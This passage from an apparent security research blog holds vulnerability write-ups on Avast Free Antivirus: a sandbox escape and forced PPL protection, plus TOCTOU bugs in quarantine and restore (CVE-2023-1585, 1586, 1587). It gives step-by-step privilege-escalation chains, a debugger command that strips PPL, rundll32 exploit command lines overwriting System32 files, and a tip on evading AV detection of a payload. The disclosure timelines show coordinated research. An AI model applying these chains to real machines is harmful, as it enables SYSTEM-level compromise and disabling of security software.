Interestingly, there is no format in the documentation for RChangeServiceConfig2W parameters to set the protection of a service but this format is not hard to deduce from knowing the client format and the format for other types of messages on the server. It turns out the following:

typedef struct _SC_RPC_CONFIG_INFOW {
   DWORD dwInfoLevel; // SERVICE_CONFIG_LAUNCH_PROTECTED (12)
   [switch_is(dwInfoLevel)] union {
     [case(1)] 
       LPSERVICE_DESCRIPTIONW psd;
     ...
     [case(12)] 
       LPSERVICE_LAUNCH_PROTECTED_INFO pslpi;
   };
 } SC_RPC_CONFIG_INFOW;

typedef struct _SERVICE_LAUNCH_PROTECTED_INFO {
   DWORD dwLaunchProtected; // SERVICE_LAUNCH_PROTECTED_ANTIMALWARE_LIGHT (3)
 } SERVICE_LAUNCH_PROTECTED_INFO,
  *LPSERVICE_LAUNCH_PROTECTED_INFO;

And then the conditional breakpoint which replaces the installation of the AmPPL service with a NOP-call, will look like this (set in the context of services.exe after attaching to it):

bp /p @$proc services!RChangeServiceConfig2W ".if (poi(@rdx) == 0n12) { ed poi(@rdx + 8) 0 }; gc"

And it doesn’t really make much difference how you disable or bypass the PPL but this approach helped me find another bug. After the full installation of the product, you can make sure in Process Explorer that all AV processes are running without PPL protection:

wsc_proxy.exe AmPPL protection after disabling PPL

The processes in the picture are sorted by the “Company Name” field and, as it seems, all Avast’s processes are without PPL protection. But among the processes there is a wsc_proxy.exe process (highlighted in the picture), it has AmPPL protection and is not supplied by default with the OS. So what is this process? It is also an Avast component, for some reason PPL protection is on it and because of this Process Explorer cannot read the company name of the binary from which the process is created.

At first I thought my method of not setting process PPL protection was incomplete. Well, for example, there are other SCM APIs that can be used to make a service PPL. But not finding any I set a hardware breakpoint on the Protection field of the EPROCESS structure of the wsc_proxy.exe process at its start and found that this field is filled from the aswSP.sys – the kernel self-defense module of the product:

aswSP.sys sets protection level on process create

The screenshot above shows that the aswSP.sys driver directly modifies the EPROCESS structure of the process and sets the Protection field in it as follows:

Protection.Type =  0n1; // PsProtectedTypeProtectedLight (0n1)
Protection.Signer = 0n3; // PsProtectedSignerAntimalware (0n3)

Now we realize that Avast Free Antivirus somehow not quite honestly uses the PPL infrastructure and forcibly makes its processes PPL-protected bypassing Microsoft requirements. And as attacker we would like to use this functionality and make our own code AmPPL. Then we can influence other AmPPL-protected processes.

To do this you need to understand when and under what conditions the code above is reachable. After reversing aswSP.sys I found out that the function with this code is called from the process creation callback handler registered with PsSetCreateProcessNotifyRoutine. And in order for the driver to directly execute this code and make the process PPL two conditions must be met:

  1. The process must be spawned from the binary file "C:\Program Files\AVAST Software\Avast\wsc_proxy.exe";
  2. The process must be running as “NT AUTHORITY\SYSTEM”.

These requirements (if they are checked correctly) severely limit the scope of applicability of this functionality for an attacker but still allow having SYSTEM privileges to obtain an AmPPL protection level. This can be done by implementing the usual image hollowing of wsc_proxy.exe when running it as child process in the SYSTEM context. Then both conditions will be met and we can easily deliver our payload to the process thanks to the handle received from CreateProcess with ALL_ACCESS rights to the created process and the subsequent WriteProcessMemory with the payload. Below is the PoC of the proposed method:

Obtain AmPPL protection level PoC

In the screenshot above powershell is first launched with Administrator rights. It launches a powershell instance running under “NT Authority\System” (1). Next we start wsc_proxy.exe in the suspended state (2). And we demonstrate that there is no PPL protection yet (3) but we as a parent have a handle of the child process with AllAccess rights (4). Using the handle we overwrite the process memory with the necessary contents (5) – in this case it is an infinite loop, and continue the execution of the process. At this point process-creation callback implemented by aswSP.sys checks for the above-mentioned conditions and changes the EPROCESS.Protection of the process. Next we can verify that the process has become AmPPL-protected (6) and see in Process Explorer that the process is executing our code and consuming CPU with its infinite cycle (7).

As a result due to this vulnerability we have a primitive that allows us, having SYSTEM privileges, to obtain for our process AmPPL-protection level.

By the way the EPROCESS structure is an opaque structure and offset to the Protection field is not something fixed and constant. Therefore for OSs it must be calculated. Avast does this by searching by signature in the exported kernel function PsIsProtectedProcess:

Find Protection offset by signature in PsIsProtectedProcess

0x04: Exploitation chain

Building all three vulnerabilities in a chain we get the following exploitation scenario which allows you to increase privileges from Everyone to “NT AUTHORITY\SYSTEM” with the AmPPL protection level:

  1. As standard user inject into the aswEngSrv.exe process;
  2. Inside sandbox create a Task Scheduler task to run your code under the full “NT AUTHORITY\SYSTEM” account and trigger the launch;
  3. Executing in the “NT AUTHORITY\SYSTEM” context start the process spawned from the binary file "C:\Program Files\AVAST Software\Avast\wsc_proxy.exe" with the CREATE_SUSPENDED flag, overwrite the EntryPoint with your own code and continue the process execution;
  4. Now the code is executed in the “NT AUTHORITY\SYSTEM” context inside the AmPPL-protected wsc_proxy.exe process.

Below is a demo video of the exploitation (in the end the input and output of the powercat.ps1 were slightly out of sync but I hope this does not interfere to understand the main idea):

Note: Recently AV has been detecting “powercat” and quarantining it. So for the demonstration purposes, the script must be added to the exclusions, and to work in real life, the payload must be changed to something slightly less famous.

The full source code of the PoC can be found on my github.

0x05: Fixes retest

After almost 3 years (now the beginning of February 2023) after discovering vulnerabilities, reporting them to the vendor and even claiming that everything was fixed, I decided to see how developers fixed the vulnerabilities. To do this I installed Avast Free Antivirus 22.12.6044 (build 22.12.7758.769). So let’s go!

Fixing the insecure DACL of a process aswEngSrv.exe (CVE-2021-45335) is pretty simple: the developers explicitly set the DefaultDACL of the token as before but now it is a more strict DACL of the form D:(A;;GA;;;BA)(A;; GA;;;SY)S:(ML;;NW;;;LW). The SDDL representation of DACL indicates that access is now allowed only “NT Authority\System” and “Administrators”, while the integrity label is Low (a curious decision).

As result the token now looks like this:

aswEngSrv.exe token after fix

DACL on the process corresponds to the above value from the token’s DefaultDACL . We will not be able to inject as before so believe that the vulnerability has been fixed.

And then it’s more interesting – we move on to checking the sandbox escape (CVE-2021-45336). Back in 2020 I wrote in the report to the Avast developers that they had very little chance of making a good sandbox running as “NT Authority\System”. But as we can see in the new version of the product the aswEngSrv.exe process’ token has not changed in this regard. So how did they fix it?

The developers did not change the “NT Authority\System” user under which the aswEngSrv.exe process was originally executed, the set of groups and jobs too. So at first glance it looks like they couldn’t fix the vulnerability. I manually injected the module demonstrating PoC but nothing worked as expected. It’s just not clear why.

As a result of debugging the code I found out that my COM-client crashes during the initialization of the COM runtime. Previously the runtime was probably already initialized at the time of injection. There were quite a lot of errors and there was no desire to understand them but there was definitely an understanding that problems with the COM runtime could not be a sufficient mitigation from escaping the sandbox. Moreover the entire COM binding of TaskScheduler is client-side code implemented essentially for the convenience of clients. And on the server side, as we said earlier, there is a single RPC method SchRpcRegisterTask. Therefore I decided not to deal with errors and wrote my own RPC-client of TaskScheduler. When running the code started to fail again but when locating problems it turned out that the RPC runtime often uses function OpenProcessToken with the GetCurrentProcess parameter to get its own token and ends with ACCESS_DENIED since the updated DefaulDACL does not allow even itself to open it. I wrote a hook for such calls and replaced them with returning a pseudohandle using GetCurrentProcessToken. The pseudohandle is “pseudo” because it does not need to be opened, so there were no more problems with access rights. And the code worked – again it turned out to register a task from the aswEngSrv.exe sandbox which runs as SYSTEM. I posted the CVE-2023-ASWSBX PoC code on my github. Surprisingly the developers fixed a specific implementation of the exploit but did not fix the root cause.

NOTE: In the aswEngSrv.exe code I saw that different hooks are being set and perhaps that is why the original approach with COM does not work. But obviously in-process hooks cannot be the solution.

As for the bug when manually modifying PPL Protection for the wsc_proxy.exe process, the developers have now signed the binary with the appropriate certificate and made the AvastWscReporter AmPPL service in a documented way. But if you open the aswSP.sys self-protection driver and look for functions that use the PsIsProtectedProcess string, you will immediately find a function that just as it was shown earlier in the screenshot looks for the offset of the Protection member in the EPROCESS structure. Further if you look at where this offset is used you can find a function that sets the value 0x31 in the Protection field of the process. And what is most interesting this function is reachable from the IOCTL handler:

Path from IOCTL handler to DoProcessPPL()

So it seems that the developers have fixed this particular vulnerability but there are still execution paths in the code that can allow you to do the same thing but in a slightly different way (no longer hollowing or not only it).

0x06: Conclusions

Almost three years ago Avast released the awesome by purpose security feature – antivirus engine sandbox. Then I found 3 vulnerabilities and by connecting them in a chain I got the opportunity to elevate privileges from an unprivileged user to a process with the rights of “NT Authority\System” and AmPPL protection. Moreover discovered sandbox escape was a design problem that, by definition, cannot be fixed easily and quickly.

Then I explained to myself the “mistakes” of the solution by its novelty and hoped that over time this feature would become more mature and become an excellent investment in the resistance of the antivirus to bugs in the most valuable attack surface of the product.

But now I discovered that the exploitation chain was broken by fixing only one link from the chain (fortunately at least the first one 😊). The main problem is that the design of the sandbox has not been fixed. Which makes, sadly, all sandboxing completely useless. In addition, judging by the fact that the manual PPL’ing code is present in the driver, this issue may also not be completely fixed.

0x07: Disclosure Timeline

  • 25-03-2020 Initial report sent to Avast.

  • 26-03-2020 Initial response from Avast stating they’re being reviewed it.

  • 23-04-2020 Avast triaged the issue reported as a valid issue and is starting work on a fix.

  • 08-09-2020 Avast released patched version of product.

  • 09-02-2023 This post has been published.

Avast Anti-Virus privileged arbitrary file create on virus quarantine (CVE-2023-1585 and CVE-2023-1587)

26 April 2023 at 10:00

0x00: Introduction

I’m not a big fan of privileged file operation abuse, because such vulnerabilities are usually quite trivial. But there are attack surfaces where you really want to find a vulnerability - because it seems difficult due to the great attention of developers and researchers to it, the old age of the feature and presumable comprehensive testing, as well as its prevalence throughout the entire line of Products - that, due to the nature of the researched feature, it is necessary to search for vulnerabilities of exactly this class. An example of such attack surface is undoubtedly the functionality of removing malware in Anti-Viruses - the main and most important feature of any Anti-Virus, in fact its “showcase”. And I decided to look for similar vulnerabilities in the malware removal engine (also known as “quarantine”) of Avast Free Antivirus. Avast is a fairly widespread Product so that a vulnerability in it affects a large number of machines, it is developed quite responsibly in terms of security, and besides, similar vulnerabilities have already been fixed in it not so long ago (rack911labs research and SafeBreach research). My end goal was to execute code in the SYSTEM context as a result of abuse the malicious file removal mechanism. So the research didn’t seem like a cakewalk at first – that would be more interesting! Below is the report “as-is” I sent to the Avast development team to fix the vulnerabilities found.

0x01: High-level overview of the vulnerability and the possible effect of using it

Avast Anti-Virus since ver. 22.3.6008 (I didn’t check previous versions, but it is very likely that they are also vulnerable), when a file virus is detected, deletes the file in the context of the SYSTEM account. To mitigate file redirection attacks, it checks the entire path for any types of links, converts the path to path without links, and only then deletes the file. However, path checking and file removing is not atomic operation, so this algorithm has TOCTOU vulnerability: by manipulating with path links attacker can redirect service’s operations and delete arbitrary file/directory. This vulnerability has been assigned CVE-2023-1585.

Although deleting an arbitrary file/directory is not in itself a critical vulnerability, this bug can be upgraded to code execution as SYSTEM. For this attacker needs to use the bug to delete the contents of directory "C:\ProgramData\Avast Software\Avast\fw" and then delete directory itself. And thereafter restart the main process (AvastSvc.exe) via reboot or crash as implemented in PoC. On starting, if aforementioned directory does not exist, service recreates it with permissive DACL – full access for Everyone. At the end attacker just need to call RPC-method that will execute privileged CopyFile() in fully attacker-controlled directory. Such privileged CopyFile() gadget obviously leads to arbitrary file write and respectively code execution as SYSTEM. Service crash issue has been assigned CVE-2023-1587, other problems have been classified as weird behavior.

0x02: Root Cause Analysis

On file virus (2) detecting Avast Anti-Virus (AV) removes the file in the context of the SYSTEM account. This is quite dangerous since by manipulating links in a controlled path attacker can provoke a situation where anti-virus service deletes the wrong file. Avast’s developers are aware of this risk and therefore AV service tries to create file with random name in same directory. It mitigates junction creation because junction can be created only in empty directory (symbolic links need admin rights, hardlinks are not dangerous for file delete operations - thus they are out-of-scope attacker’s tools). But if attempt to create file with random name failed (4) AV service continues to realize own algorithm. So this mitigation is optional because attacker can simply set deny FILE_ADD_FILE ACE for SYSTEM on the parent directory (1).

QuarantineExploit 1

Then AV main service checks the entire path to virus for any types of links (5), converts the path to path without links, and only next deletes the file. AV service makes these actions to mitigate file redirection attacks. But without successfully created file with random name parent directory of virus is not locked from creating junction in its place.

QuarantineExploit 2

Between previously described path checks and subsequent description of file deletion exists time window, when attacker can redirect path to another destination. This time window is quite short, but attacker can extend it. After path checking and before file deletion AvastSvc writes logs (6) to logfile named "C:\ProgramData\Avast Software\Avast\log\Cleaner.log". Therefore, if attacker sets RWH-oplock (3) on Cleaner.log, it blocks execution of deleting virus algorithm and attacker can reliably redirect (7) parent directory of virus to previously inaccessible location. Good news is that at time when the oplock triggers, handles of files inside the directory are not open.

QuarantineExploit 3

After directory switching main AV service following symbolic links deletes arbitrary file/directory (8) that attacker wants. Moreover thanks to service’s privileges and CreateFile() flags attacker can remove even WRP-protected files: TrustedInstaller owned files accessible with READ-only rights for SYSTEM.

QuarantineExploit 4

Putting all the steps together, for successful exploitation arbitrary file/directory delete (CVE-2023-1585) we need to do the following:

  1. Create directory ".\Switch" with restrictive DACL (deny FILE_ADD_FILE ACE for SYSTEM) and test EICAR virus ".\Switch\{GUID}.dll";
  2. Create oplock on "C:\ProgramData\Avast Software\Avast\log\Cleaner.log" and wait for test virus will be quarantined;
  3. When oplock triggers, remove test virus ".\Switch\{GUID}.dll" and switch parent directory with mount point to native symbolic link, e.g. mount point ".\Switch" -> "\RPC Control" and native symbolic link "\RPC Control\{GUID}.dll" -> "??\C:\Windows\System32\aadjcsp.dll";
  4. Release the oplock, wait couple of seconds, then make sure "C:\Windows\System32\aadjcsp.dll" was deleted.

Arbitrary file/directory delete is not high-impact vulnerability, usually it leads only to DoS. However, there exist approaches to upgrade this low-impact bug to code execution as SYSTEM - here and here. The former is already fixed on modern operating systems, while the latter is not reliable due to exploited race condition. So it was decided to find own yet unpatched 100%-reliable way to improve impact of this bug.

Code path that can help upgrade file/directory delete to code execution was found in Avast’s codebase. On starting if "C:\ProgramData\Avast Software\Avast\fw" directory does not exist, service AvastSvc.exe creates it with permissive DACL – full access for Everyone.

Waiting for a computer or service restart can take a long time, so null dereference bug (CVE-2023-1587) was found in RPC-interface named "aswChest" with UUID "c6c94c23-538f-4ac5-b34a-00e76ae7c67a". When attacker calls Proc3 to add file to the chest, he must specify an array of key-value pairs (so-called file properties), and if property name (*propertiesArray on the image) is null, service immediately crashes.

IDA null deref

As it was already said after restart Avast main service creates "C:\ProgramData\Avast Software\Avast\fw" directory, if it does not exist, with very permissive DACL – full access for Everyone. And for the attacker, it remains to find a code that manipulates the files in this directory in such a way that it will allow you to get an arbitrary file write primitive. It can be various variants of a suitable code patterns, but it was found code path that implements *.ini files reset inside directory. This code is reachable from RPC-interface named "[Aavm]" with UUID eb915940-6276-11d2-b8e7-006097c59f07. When attacker calls method with index 58, service copies, for example, file "config.ori" to "config.xml" inside directory "C:\ProgramData\Avast Software\Avast\fw". Such gadget is sufficient to obtain a primitive “arbitrary file write”.

Last and also probably least – Avast AV prevents access to own RPC-interfaces for untrusted processes. This is implemented as part of a self-defense protection mechanism. On allocating RPC-context for further communication with interface RPC-server checks client is trusted and only in this case creates valid handle for the client. To bypass this restriction was implemented self-defense bypass based on SetDllDirectory() for child AvastUI.exe process configuring and subsequent inject via dll-planting. I don’t want to go into the details of this topic here, but you can check it out in the source code of the PoC.

By chaining both vulnerabilities (CVE-2023-1585 and CVE-2023-1587) into a chain, attacker could obtain arbitrary file write primitive:

  1. Using CVE-2023-1585 delete target file, the contents of directory "C:\ProgramData\Avast Software\Avast\fw" and then delete directory itself;
  2. Bypass self-defense and call Proc3 of RPC-interface "aswChest” to crash and restart main service (CVE-2023-1587);
  3. Make sure directory "C:\ProgramData\Avast Software\Avast\fw" is now Everyone full accessible;
  4. Create mount point to native symbolic link, e.g. mount point "C:\ProgramData\Avast Software\Avast\fw" -> "\RPC Control" and native symbolic links "\RPC Control\config.ori" -> "??\C:\Users\User\Desktop\PoC\pwn.txt", "\RPC Control\config.xml" -> "??\C:\Windows\System32\aadjcsp.dll"
  5. Call Proc58 of RPC-interface "[aswAavm]" to trigger execution privileged CopyFile() in "C:\ProgramData\Avast Software\Avast\fw" directory;
  6. Make sure "C:\Windows\System32\aadjcsp.dll" was successfully replaced.

0x03: Proof-of-Concept

The full source code of the PoC can be found on my github.

Steps to reproduce:

  1. Copy AswQuarantineFileExploit.dll to target virtual machine where Avast Free Anti-Virus is already installed;
  2. Run powershell.exe and call rundll32.exe with DLL AswQuarantineFileExploit.dll, exported function Exploit and two arguments: 1st – the name of a file that replaces the file specified by 2nd argument, 2nd - the name of the file being replaced. Example of rundll32 command line:
    rundll32 .\AswQuarantineFileExploit.dll,Exploit C:\Users\User\Desktop\PoC\pwn.txt C:\Windows\System32\aadjcsp.dll
    
  3. Make sure file passed as 2nd argument was successfully replaced with file passed as 1st argument.

Note: The exploit can as well create file if it does not exist and overwrite files owned by TrustedInstaller and accessible only for READ for SYSTEM account.

And below is demo of the PoC:

Note: It’s worth noting that PoC code is adapted for Avast Free Antivirus 22.5.6015 (build 22.5.7263.728). This is important, because the exploit intensively uses RPC interfaces, and the layout of the RPC interface may change slightly between Product versions.

Getting code execution as SYSTEM from arbitrary file write primitive is quite trivial (e.g. you can use that trick), so this step is not implemented in the PoC and is not covered in this report.

0x04: Disclosure Timeline

  • 25-06-2022 Initial report sent to Avast.

  • 03-10-2022 Initial response from Avast stating they got displaced my report and are now being reviewed it.

  • 19-10-2022 Avast triaged the issue reported as a valid issue and redirected me to the NortonLifeLock bug bounty portal.

  • 27-10-2022 Norton triaged the issue reported as a valid issue and is starting work on a fix.

  • 15-12-2022 Norton released patched version of product and is requesting retest of the implemented fix.

  • 09-02-2023 I reported to Norton that fixes were incomplete and should be reworked.

  • 02-03-2023 I retested new fixes and approved they were correct.

  • 19-04-2023 Norton registered CVEs and published advisories.

  • 26-04-2023 This post has been published.

Avast Anti-Virus privileged arbitrary file create on virus restore (CVE-2023-1586)

15 May 2023 at 07:30

0x00: Introduction

In the previous post, we talked about how Avast Free Antivirus “awkwardly” removes malware and how an attacker, by chaining CVE-2023-1585 and CVE-2023-1587, was able to execute arbitrary code in the SYSTEM context. And it is quite obvious to assume that similar problems can be in the virus restore functionality. And today I’m sharing the report describing the vulnerability (CVE-2023-1586) in Avast file restore functionality and exploitation of this vulnerability to execute arbitrary code in the “NT AUTHORITY\SYSTEM” context.

0x01: High-level overview of the vulnerability and the possible effect of using it

Avast Anti-Virus since ver. 22.3.6008 (I didn’t check previous versions, but it is very likely that they are also vulnerable), when user requests restore of a file virus, creates the file in the context of the SYSTEM account. To mitigate file redirection attacks, it checks the entire path for any types of links, and if the path contains link, terminates operation with error. However, path checking and file restoring are not atomic operation, so this algorithm has TOCTOU vulnerability: by manipulating with path links attacker can redirect service’s operations and create arbitrary file. This vulnerability has been assigned CVE-2023-1586.

0x02: Root Cause Analysis

On file virus restoring Avast Anti-Virus (AV) create the file in the context of the SYSTEM account. AV main service checks the entire path to parent directory for any types of links (2), and if the path contains link, terminates operation with error. AV service makes these actions to mitigate file redirection attacks. But between path checking and subsequent file creation exists time window, when attacker can redirect path to another destination. This time window is quite short, but attacker can extend it. After path checking and before file restoring AvastSvc service reads metainfo from encrypted sqlite-database named C:\$AV_ASW\$VAULT\vault.db. Therefore, if attacker sets RWH-oplock (1) on vault.db, it blocks execution of restore virus algorithm and attacker can reliably redirect (3) parent directory of restored virus to previously inaccessible location.

RestoreExploit 1

After directory switching main AV service following symbolic links restores arbitrary file (4) that attacker wants. It’s worth noting that the bug only allows to create new files in arbitrary location and not overwrite already existing files.

RestoreExploit 2

Thus for successful exploitation arbitrary file/directory create (CVE-2023-1586) we need to do next steps:

  1. Create directory .\Switch and a test EICAR virus .\Switch\{GUID}.dll;
  2. Wait for the test virus will be quarantined;
  3. Create an oplock on C:\$AV_ASW\$VAULT\vault.db;
  4. Bypass self-defense and call Proc82 of RPC-interface [aswAavm] to restore file;
  5. When oplock triggers, switch parent directory with mount point to native symbolic link, e.g. mount point ".\Switch" -> "\RPC Control" and native symbolic link "\RPC Control\{GUID}.dll" -> "??\C:\Windows\System32\poc.dll";
  6. Make sure C:\Windows\System32\poc.dll was created.

0x03: Proof-of-Concept

The full source code of the PoC can be found on my github.

Steps to reproduce:

  1. Copy AswRestoreFileExploit.dll to target machine where Avast Free Anti-Virus is already installed;
  2. Run powershell.exe and call rundll32.exe with DLL AswRestoreFileExploit.dll, exported function Exploit and two arguments: 1st – the name of a file that contains content the file specified by 2nd argument, 2nd - the name of the file being created. Example of rundll32 command line:
    rundll32 .\AswRestoreFileExploit.dll,Exploit C:\Users\User\Desktop\PoC\pwn.txt C:\Windows\System32\poc.dll
    
  3. Make sure file passed as 2nd argument was successfully created and contains content of file passed as 1st argument.

Note: The exploit can only create new file in arbitrary location and cannot overwrite already existing files.

And below is demo of the PoC:

Note: It’s worth noting that PoC code is adapted for Avast Free Antivirus 22.5.6015 (build 22.5.7263.728). This is important, because the exploit intensively uses RPC interfaces, and the layout of the RPC interface may change slightly between Product versions.

As I’ve already said, getting code execution as SYSTEM from arbitrary file write primitive is quite trivial (e.g. you can use that trick), so this step is not implemented in the PoC and is not covered in this report.

0x04: Disclosure Timeline

  • 25-06-2022 Initial report sent to Avast.

  • 03-10-2022 Initial response from Avast stating they got displaced my report and are now being reviewed it.

  • 19-10-2022 Avast triaged the issue reported as a valid issue and redirected me to the NortonLifeLock bug bounty portal.

  • 27-10-2022 Norton triaged the issue reported as a valid issue and is starting work on a fix.

  • 15-12-2022 Norton released patched version of product and is requesting retest of the implemented fix.

  • 09-02-2023 I confirmed that fix is correct.

  • 19-04-2023 Norton registered CVEs and published advisory.

  • 15-05-2023 This post has been published.

❌
❌